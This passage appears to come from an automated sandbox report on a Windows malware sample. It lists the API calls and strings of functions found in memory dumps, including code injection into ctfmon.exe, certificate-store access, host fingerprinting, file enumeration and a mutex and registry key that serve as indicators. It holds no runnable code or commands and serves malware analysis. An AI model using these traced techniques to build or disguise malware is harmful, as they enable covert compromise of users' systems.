      • Part of subcall function 00A0FC68: RegOpenKeyExW.ADVAPI32(80000001,00A23E88,00000000,00000001,?), ref: 00A0FC91
    • WaitForSingleObject.KERNEL32(00002710), ref: 00A0FFFD
      • Part of subcall function 00A09656: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00A0966F
      • Part of subcall function 00A09656: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00A09687
      • Part of subcall function 00A09656: CryptHashData.ADVAPI32(?,00000010,?,00000000), ref: 00A096A3
      • Part of subcall function 00A09656: CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 00A096BB
      • Part of subcall function 00A09656: CryptDestroyHash.ADVAPI32(?), ref: 00A096D2
      • Part of subcall function 00A09656: CryptReleaseContext.ADVAPI32(?,00000000), ref: 00A096DC
    • CharLowerA.USER32(00000000), ref: 00A10142
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A10C2C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
    APIs
    • PFXImportCertStore.CRYPT32(?,?,?), ref: 00A10C45
      • Part of subcall function 009F803E: WaitForSingleObject.KERNEL32(00000000,00A10285), ref: 009F8046
    • GetSystemTime.KERNEL32(?), ref: 00A10C91
      • Part of subcall function 00A10A0E: GetUserNameExW.SECUR32(00000002,?,?,00000000,?,?,00A10B63,?,?,00000004,00000000,00000000,00000004,?,00000004,?), ref: 00A10A23
      • Part of subcall function 00A08E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A08EB4
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1C68C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
    APIs
      • Part of subcall function 00A1C52D: GetComputerNameW.KERNEL32(?,?), ref: 00A1C548
      • Part of subcall function 00A1C52D: GetVersionExW.KERNEL32(?), ref: 00A1C57F
      • Part of subcall function 00A1C52D: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?), ref: 00A1C5F3
    • GlobalMemoryStatusEx.KERNEL32(?), ref: 00A1C6DD
    • GetVolumeInformationA.KERNEL32(009F7CB8,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00A1C71A
      • Part of subcall function 00A096EA: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00A09703
      • Part of subcall function 00A096EA: CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,?), ref: 00A0971B
      • Part of subcall function 00A096EA: CryptHashData.ADVAPI32(?,00000014,?,00000000), ref: 00A09737
      • Part of subcall function 00A096EA: CryptGetHashParam.ADVAPI32(?,00000002,?,00000014,00000000), ref: 00A0974F
      • Part of subcall function 00A096EA: CryptDestroyHash.ADVAPI32(?), ref: 00A09766
      • Part of subcall function 00A096EA: CryptReleaseContext.ADVAPI32(?,00000000), ref: 00A09770
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0CB9A, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67
    APIs
    • StringFromGUID2.OLE32(?,00000064,00000028), ref: 00A0CC37
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A10477, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67
    APIs
    • RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00A104BA
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
      • Part of subcall function 00A0C842: RegQueryValueExW.ADVAPI32(?,000000FF,00000000,00000000,00000000,?), ref: 00A0C867
      • Part of subcall function 00A0C842: RegQueryValueExW.ADVAPI32(?,000000FF,00000000,?,?,?), ref: 00A0C896
      • Part of subcall function 00A0C842: RegCloseKey.ADVAPI32(?), ref: 00A0C8B6
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A15080, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56
    APIs
    • SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00A150CE
      • Part of subcall function 00A0DD7A: FindFirstFileW.KERNEL32(?,?), ref: 00A0DDB9
      • Part of subcall function 00A0DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00A0DDE0
      • Part of subcall function 00A0DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00A0DE2A
      • Part of subcall function 00A0DD7A: Sleep.KERNEL32(00000000), ref: 00A0DE57
      • Part of subcall function 00A0DD7A: Sleep.KERNEL32(00000000), ref: 00A0DE87
      • Part of subcall function 00A0DD7A: FindNextFileW.KERNEL32(?,?), ref: 00A0DEB5
      • Part of subcall function 00A0DD7A: FindClose.KERNEL32(?), ref: 00A0DEC7
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A14779, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56
    APIs
    • SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00A147C7
      • Part of subcall function 00A0DD7A: FindFirstFileW.KERNEL32(?,?), ref: 00A0DDB9
      • Part of subcall function 00A0DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00A0DDE0
      • Part of subcall function 00A0DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00A0DE2A
      • Part of subcall function 00A0DD7A: Sleep.KERNEL32(00000000), ref: 00A0DE57
      • Part of subcall function 00A0DD7A: Sleep.KERNEL32(00000000), ref: 00A0DE87
      • Part of subcall function 00A0DD7A: FindNextFileW.KERNEL32(?,?), ref: 00A0DEB5
      • Part of subcall function 00A0DD7A: FindClose.KERNEL32(?), ref: 00A0DEC7
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0C136, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
    APIs
    • GetTempFileNameW.KERNEL32(?,cab,00000000,?), ref: 00A0C158
      • Part of subcall function 00A0D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00A0D95E
      • Part of subcall function 00A0D955: DeleteFileW.KERNEL32(?), ref: 00A0D968
    • PathFindFileNameW.SHLWAPI(?), ref: 00A0C17B
      • Part of subcall function 00A082C2: WideCharToMultiByte.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 00A082DD
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0D9C8, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47
    APIs
    • GetTempPathW.KERNEL32(000000F6,?), ref: 00A0D9DF
      • Part of subcall function 00A0977E: GetTickCount.KERNEL32 ref: 00A0977E
      • Part of subcall function 00A08E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A08EB4
      • Part of subcall function 00A0DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A0DEF5
      • Part of subcall function 00A0D7AA: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00A0D7C4
      • Part of subcall function 00A0D7AA: WriteFile.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 00A0D7E7
      • Part of subcall function 00A0D7AA: CloseHandle.KERNEL32 ref: 00A0D7F4
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A19E61, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42
    APIs
      • Part of subcall function 00A0BC34: GetTokenInformation.ADVAPI32(00A22AC0,00000001,00000000,00000000,00A22F90), ref: 00A0BC4D
      • Part of subcall function 00A0BC34: GetLastError.KERNEL32(?,00000000,?,?,00A09AD9,00A22AC0,?,?,?,009F7CFB,000000FF,00A22AC0,00A22F90), ref: 00A0BC53
      • Part of subcall function 00A0BC34: GetTokenInformation.ADVAPI32(00A22AC0,00000001,?,00A22F90,00A22F90), ref: 00A0BC79
    • EqualSid.ADVAPI32(?,?), ref: 00A19E86
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
      • Part of subcall function 00A09DBF: LoadLibraryA.KERNEL32(userenv.dll), ref: 00A09DD0
      • Part of subcall function 00A09DBF: GetProcAddress.KERNEL32(?,CreateEnvironmentBlock), ref: 00A09DEF
      • Part of subcall function 00A09DBF: GetProcAddress.KERNEL32(?,DestroyEnvironmentBlock), ref: 00A09DFB
      • Part of subcall function 00A09DBF: CreateProcessAsUserW.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00A19EB5,00000000,?,?), ref: 00A09E70
      • Part of subcall function 00A09DBF: CloseHandle.KERNEL32(?), ref: 00A09E83
      • Part of subcall function 00A09DBF: CloseHandle.KERNEL32(?), ref: 00A09E88
      • Part of subcall function 00A09DBF: FreeLibrary.KERNEL32(?), ref: 00A09E9F
    • CloseHandle.KERNEL32(?), ref: 00A19EC7
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1690B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42
    APIs
    • GetFileAttributesExW.KERNEL32(?,?,?), ref: 00A16970
      • Part of subcall function 009F803E: WaitForSingleObject.KERNEL32(00000000,00A10285), ref: 009F8046
    • VirtualAlloc.KERNEL32(?,00001000,00003000,00000004), ref: 00A1694E
    Strings
    • {B60D3CFB-57EE-51EE-A961-10791936558D}, xrefs: 00A16933
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0A5AD, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
    APIs
      • Part of subcall function 00A0A52D: LoadLibraryA.KERNEL32(urlmon.dll), ref: 00A0A53E
      • Part of subcall function 00A0A52D: GetProcAddress.KERNEL32(?,ObtainUserAgentString), ref: 00A0A551
      • Part of subcall function 00A0A52D: FreeLibrary.KERNEL32(?), ref: 00A0A5A2
    • GetTickCount.KERNEL32 ref: 00A0A5F2
      • Part of subcall function 00A0A3FB: WaitForSingleObject.KERNEL32(?,?), ref: 00A0A44F
      • Part of subcall function 00A0A3FB: Sleep.KERNEL32(?), ref: 00A0A462
      • Part of subcall function 00A0A3FB: InternetCloseHandle.WININET ref: 00A0A4E8
    • GetTickCount.KERNEL32 ref: 00A0A604
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    Strings
    • http://www.google.com/webhp, xrefs: 00A0A5D2
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0D976, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27
    APIs
    • GetTempPathW.KERNEL32(000000F6,?), ref: 00A0D98B
    • GetTempFileNameW.KERNEL32(?,tmp,00000000,009F72C4), ref: 00A0D9B4
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A14DF4, Relevance: 5.2, APIs: 4, Instructions: 196
    APIs
      • Part of subcall function 00A0DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A0DEF5
      • Part of subcall function 00A0D80F: CreateFileW.KERNEL32(00000000,80000000,?,00000000,00000003,00000000,00000000), ref: 00A0D834
      • Part of subcall function 00A0D80F: GetFileSizeEx.KERNEL32(?,00000000), ref: 00A0D847
      • Part of subcall function 00A0D80F: VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00A0D86F
      • Part of subcall function 00A0D80F: ReadFile.KERNEL32(00000001,?,?,00000000,00000000), ref: 00A0D887
      • Part of subcall function 00A0D80F: VirtualFree.KERNEL32(?,00000000,00008000), ref: 00A0D8A1
      • Part of subcall function 00A0D80F: CloseHandle.KERNEL32(00000001), ref: 00A0D8AA
    • StrStrIA.SHLWAPI(?,?), ref: 00A14F1D
    • StrStrIA.SHLWAPI(?,?), ref: 00A14F2F
    • StrStrIA.SHLWAPI(?,?), ref: 00A14F41
    • StrStrIA.SHLWAPI(?,?), ref: 00A14F53
      • Part of subcall function 00A08E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A08EB4
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
      • Part of subcall function 00A0D8B7: VirtualFree.KERNEL32(?,00000000,00008000), ref: 00A0D8C8
      • Part of subcall function 00A0D8B7: CloseHandle.KERNEL32(00000001), ref: 00A0D8D6
      • Part of subcall function 00A08130: HeapAlloc.KERNEL32(00000008,?,00A0C881), ref: 00A08141
      • Part of subcall function 00A0DD7A: FindFirstFileW.KERNEL32(?,?), ref: 00A0DDB9
      • Part of subcall function 00A0DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00A0DDE0
      • Part of subcall function 00A0DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00A0DE2A
      • Part of subcall function 00A0DD7A: Sleep.KERNEL32(00000000), ref: 00A0DE57
      • Part of subcall function 00A0DD7A: Sleep.KERNEL32(00000000), ref: 00A0DE87
      • Part of subcall function 00A0DD7A: FindNextFileW.KERNEL32(?,?), ref: 00A0DEB5
      • Part of subcall function 00A0DD7A: FindClose.KERNEL32(?), ref: 00A0DEC7
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A183EA, Relevance: 5.1, APIs: 4, Instructions: 63
    APIs
    • EnterCriticalSection.KERNEL32(00A24170,?,?,?,00A186D2,00000000,?,?,?,00000009,00000000), ref: 00A18407
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    • LeaveCriticalSection.KERNEL32(00A24170,?,?,00A186D2,00000000,?,?,?,00000009,00000000), ref: 00A18428
    • EnterCriticalSection.KERNEL32(00A24170,?,?,?,?,00A186D2,00000000,?,?,?,00000009,00000000), ref: 00A18439
      • Part of subcall function 00A080EB: HeapAlloc.KERNEL32(00000008,?,00A0847D,?,009F7A97,?,00A08FC7,?,?,009F7A97,?,?,00A08F77,?,?,?), ref: 00A0810D
      • Part of subcall function 00A080EB: HeapReAlloc.KERNEL32(00000008,?,?,00A0847D,?,009F7A97,?,00A08FC7,?,?,009F7A97,?,?,00A08F77,?,?), ref: 00A0811E
    • LeaveCriticalSection.KERNEL32(00A24170,?,?,?,?,00A186D2,00000000,?,?,?,00000009,00000000), ref: 00A184C1
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd

    Analysis Process: ctfmon.exe PID: 1756 Parent PID: 212

    Executed Functions

    Function 00A3755C, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 197
    APIs
    • GetModuleHandleW.KERNEL32(?), ref: 00A37588
    • GetModuleHandleW.KERNEL32(00000000), ref: 00A375A8
    • LoadLibraryA.KERNEL32 ref: 00A3760C
    • GetModuleHandleW.KERNEL32(?), ref: 00A37667
    • GetProcAddress.KERNEL32(?), ref: 00A3771E
    • GetProcAddress.KERNEL32(?), ref: 00A3772F
    • GetProcAddress.KERNEL32(?), ref: 00A37743
    • GetProcAddress.KERNEL32(?), ref: 00A37754
    • GetProcAddress.KERNEL32 ref: 00A37765
    • GetProcAddress.KERNEL32(?), ref: 00A37776
    • GetProcAddress.KERNEL32(?), ref: 00A37787
    • GetProcAddress.KERNEL32(?), ref: 00A37798
    • GetProcAddress.KERNEL32(?), ref: 00A377A9
    • GetProcAddress.KERNEL32(?), ref: 00A377BA
    • GetProcAddress.KERNEL32(?), ref: 00A377CA
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A37BA3, Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 155
    APIs
      • Part of subcall function 00A3755C: GetModuleHandleW.KERNEL32(?), ref: 00A37588
      • Part of subcall function 00A3755C: GetModuleHandleW.KERNEL32(00000000), ref: 00A375A8
      • Part of subcall function 00A3755C: LoadLibraryA.KERNEL32 ref: 00A3760C
      • Part of subcall function 00A3755C: GetModuleHandleW.KERNEL32(?), ref: 00A37667
      • Part of subcall function 00A3755C: GetProcAddress.KERNEL32(?), ref: 00A3771E
      • Part of subcall function 00A3755C: GetProcAddress.KERNEL32(?), ref: 00A3772F
      • Part of subcall function 00A3755C: GetProcAddress.KERNEL32(?), ref: 00A37743
      • Part of subcall function 00A3755C: GetProcAddress.KERNEL32(?), ref: 00A37754
      • Part of subcall function 00A3755C: GetProcAddress.KERNEL32 ref: 00A37765
      • Part of subcall function 00A3755C: GetProcAddress.KERNEL32(?), ref: 00A37776
      • Part of subcall function 00A3755C: GetProcAddress.KERNEL32(?), ref: 00A37787
      • Part of subcall function 00A3755C: GetProcAddress.KERNEL32(?), ref: 00A37798
      • Part of subcall function 00A3755C: GetProcAddress.KERNEL32(?), ref: 00A377A9
      • Part of subcall function 00A3755C: GetProcAddress.KERNEL32(?), ref: 00A377BA
      • Part of subcall function 00A3755C: GetProcAddress.KERNEL32(?), ref: 00A377CA
    • HeapCreate.KERNEL32(00000000,00080000,00000000), ref: 00A37BDA
    • GetProcessHeap.KERNEL32 ref: 00A37BE9
    • WSAStartup.WS2_32(00000202,?), ref: 00A37C1C
      • Part of subcall function 00A4977E: GetTickCount.KERNEL32 ref: 00A4977E
    • InitializeCriticalSection.KERNEL32(00A645A0), ref: 00A37C3D
    • GetCurrentProcess.KERNEL32 ref: 00A37C55
    • GetModuleFileNameExW.PSAPI ref: 00A37C5C
      • Part of subcall function 00A44EBF: CharLowerW.USER32 ref: 00A44EF2
      • Part of subcall function 00A50477: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00A504BA
      • Part of subcall function 00A373FB: GetModuleHandleW.KERNEL32(?), ref: 00A37412
      • Part of subcall function 00A373FB: VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000040,00000000), ref: 00A37451
      • Part of subcall function 00A373FB: VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000000,00000000), ref: 00A37467
      • Part of subcall function 00A5C68C: GlobalMemoryStatusEx.KERNEL32(?), ref: 00A5C6DD
      • Part of subcall function 00A5C68C: GetVolumeInformationA.KERNEL32(00A37CB8,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00A5C71A
    • CreateEventW.KERNEL32(00A62AFC,00000001,00000000,00000000), ref: 00A37CD5
      • Part of subcall function 00A49AB7: OpenProcessToken.ADVAPI32(00A62AC0,00000008,00A62AC0), ref: 00A49AC7
      • Part of subcall function 00A49AB7: GetTokenInformation.ADVAPI32(00A62AC0,0000000C,00000000,00000004,00A62F90), ref: 00A49AF3
      • Part of subcall function 00A49AB7: CloseHandle.KERNEL32(00A62AC0), ref: 00A49B08
    • GetLengthSid.ADVAPI32(?,000000FF,00A62AC0,00A62F90), ref: 00A37D0A
      • Part of subcall function 00A3787A: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,C:\Documents and Settings\Administrator\Application Data), ref: 00A37898
      • Part of subcall function 00A3787A: PathRemoveBackslashW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data), ref: 00A378A7
      • Part of subcall function 00A3787A: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00A378BB
    • GetCurrentProcessId.KERNEL32 ref: 00A37D37
      • Part of subcall function 00A378DB: IsBadReadPtr.KERNEL32(?,?), ref: 00A37909
      • Part of subcall function 00A4CB9A: StringFromGUID2.OLE32(?,00000064,00000028), ref: 00A4CC37
      • Part of subcall function 00A3792D: SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 00A3796A
      • Part of subcall function 00A3792D: lstrcmpiW.KERNEL32(?,?), ref: 00A37994
      • Part of subcall function 00A379BF: InitializeCriticalSection.KERNEL32(00A64170), ref: 00A379D6
      • Part of subcall function 00A379BF: InitializeCriticalSection.KERNEL32(00A63FEC), ref: 00A37A0B
      • Part of subcall function 00A379BF: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00A37A33
      • Part of subcall function 00A379BF: ReadFile.KERNEL32(?,?,000001FE,000001FE,00000000), ref: 00A37A50
      • Part of subcall function 00A379BF: CloseHandle.KERNEL32 ref: 00A37A61
      • Part of subcall function 00A379BF: InitializeCriticalSection.KERNEL32(00A63F6C), ref: 00A37AA8
      • Part of subcall function 00A379BF: GetModuleHandleW.KERNEL32(?), ref: 00A37ACF
      • Part of subcall function 00A379BF: GetModuleHandleW.KERNEL32(?), ref: 00A37AD8
    Strings
    • SOFTWARE\Microsoft\Fyfe, xrefs: 00A37DD2
    • Global\{F0DDC10A-AA1F-173E-A961-10791936558D}, xrefs: 00A37DCC
    • {B60D3CFB-57EE-51EE-A961-10791936558D}, xrefs: 00A37D82
    • \, xrefs: 00A37C71
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A388DB, Relevance: 13.6, APIs: 9, Instructions: 128
    APIs
      • Part of subcall function 00A37BA3: HeapCreate.KERNEL32(00000000,00080000,00000000), ref: 00A37BDA
      • Part of subcall function 00A37BA3: GetProcessHeap.KERNEL32 ref: 00A37BE9
      • Part of subcall function 00A37BA3: WSAStartup.WS2_32(00000202,?), ref: 00A37C1C
      • Part of subcall function 00A37BA3: InitializeCriticalSection.KERNEL32(00A645A0), ref: 00A37C3D
      • Part of subcall function 00A37BA3: GetCurrentProcess.KERNEL32 ref: 00A37C55
      • Part of subcall function 00A37BA3: GetModuleFileNameExW.PSAPI ref: 00A37C5C
      • Part of subcall function 00A37BA3: CreateEventW.KERNEL32(00A62AFC,00000001,00000000,00000000), ref: 00A37CD5
      • Part of subcall function 00A37BA3: GetLengthSid.ADVAPI32(?,000000FF,00A62AC0,00A62F90), ref: 00A37D0A
      • Part of subcall function 00A37BA3: GetCurrentProcessId.KERNEL32 ref: 00A37D37
    • SetErrorMode.KERNEL32(00008007), ref: 00A38902
    • GetCommandLineW.KERNEL32 ref: 00A3890C
    • CommandLineToArgvW.SHELL32 ref: 00A38913
    • ExitProcess.KERNEL32(00000000,00000000), ref: 00A389B3
    • VirtualProtect.KERNEL32(7C90CFEE,00000006,00000040,?), ref: 00A38A5C
    • VirtualProtect.KERNEL32(7C90CFEE,00000006,?,?), ref: 00A38A75
    • CreateThread.KERNEL32(00000000,00000000,Function_00008533,00000000), ref: 00A38A96
    • NtClose.NTDLL(?,?,00000000), ref: 00A38A9E
    • Sleep.KERNEL32(0000000A), ref: 00A38AAD
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4BB34, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57
    APIs
    • InitializeSecurityDescriptor.ADVAPI32(00A62B08,00000001), ref: 00A4BB3E
    • SetSecurityDescriptorDacl.ADVAPI32(00A62B08,00000001,00000000,00000000), ref: 00A4BB4F
    • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,00A62F90,00000000), ref: 00A4BB65
    • GetSecurityDescriptorSacl.ADVAPI32(00A62F90,?,00A37CC0,00000000), ref: 00A4BB81
    • SetSecurityDescriptorSacl.ADVAPI32(00A62B08,?,00A37CC0,00000000), ref: 00A4BB95
    • LocalFree.KERNEL32(00A62F90), ref: 00A4BBA2
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A379BF, Relevance: 12.1, APIs: 8, Instructions: 134
    APIs
    • InitializeCriticalSection.KERNEL32(00A64170), ref: 00A379D6
    • InitializeCriticalSection.KERNEL32(00A63FEC), ref: 00A37A0B
      • Part of subcall function 00A380FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 00A3817A
    • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00A37A33
    • ReadFile.KERNEL32(?,?,000001FE,000001FE,00000000), ref: 00A37A50
    • CloseHandle.KERNEL32 ref: 00A37A61
      • Part of subcall function 00A57234: InterlockedExchange.KERNEL32(00A64140,00000000), ref: 00A57252
      • Part of subcall function 00A57234: InterlockedExchange.KERNEL32(00A64120,00000000), ref: 00A5725A
      • Part of subcall function 00A57234: InitializeCriticalSection.KERNEL32(00A640F8), ref: 00A57261
      • Part of subcall function 00A57234: CoInitializeEx.OLE32(00000000,00000002), ref: 00A5735E
      • Part of subcall function 00A57234: CoCreateInstance.OLE32(00A31690,00000000,00004401,00A31680,?), ref: 00A57394
      • Part of subcall function 00A38F85: GetModuleHandleW.KERNEL32(?), ref: 00A38FAB
    • InitializeCriticalSection.KERNEL32(00A63F6C), ref: 00A37AA8
      • Part of subcall function 00A5BBC0: GetCurrentThreadId.KERNEL32 ref: 00A5BBCA
      • Part of subcall function 00A5BBC0: GetThreadDesktop.USER32 ref: 00A5BBD1
      • Part of subcall function 00A5BBC0: GetUserObjectInformationW.USER32(?,00000002,?,00000064,00000000), ref: 00A5BBEB
    • GetModuleHandleW.KERNEL32(?), ref: 00A37ACF
    • GetModuleHandleW.KERNEL32(?), ref: 00A37AD8
      • Part of subcall function 00A56387: GetProcAddress.KERNEL32(?,?), ref: 00A563DB
      • Part of subcall function 00A56387: GetProcAddress.KERNEL32(?,?), ref: 00A563E7
      • Part of subcall function 00A56387: GetProcAddress.KERNEL32(?,?), ref: 00A563F3
      • Part of subcall function 00A56387: GetProcAddress.KERNEL32(?,?), ref: 00A563FF
      • Part of subcall function 00A56387: GetProcAddress.KERNEL32(?,?), ref: 00A5640B
      • Part of subcall function 00A55E00: VirtualAllocEx.KERNEL32(000000FF,00000000,?,00003000,00000040), ref: 00A55E37
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A57234, Relevance: 7.7, APIs: 5, Instructions: 184
    APIs
    • InterlockedExchange.KERNEL32(00A64140,00000000), ref: 00A57252
    • InterlockedExchange.KERNEL32(00A64120,00000000), ref: 00A5725A
    • InitializeCriticalSection.KERNEL32(00A640F8), ref: 00A57261
      • Part of subcall function 00A4C768: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?), ref: 00A4C780
    • CoInitializeEx.OLE32(00000000,00000002), ref: 00A5735E
    • CoCreateInstance.OLE32(00A31690,00000000,00004401,00A31680,?), ref: 00A57394
      • Part of subcall function 00A4EBA1: CoUninitialize.OLE32 ref: 00A4EBAF
      • Part of subcall function 00A4C7EE: RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 00A4C80C
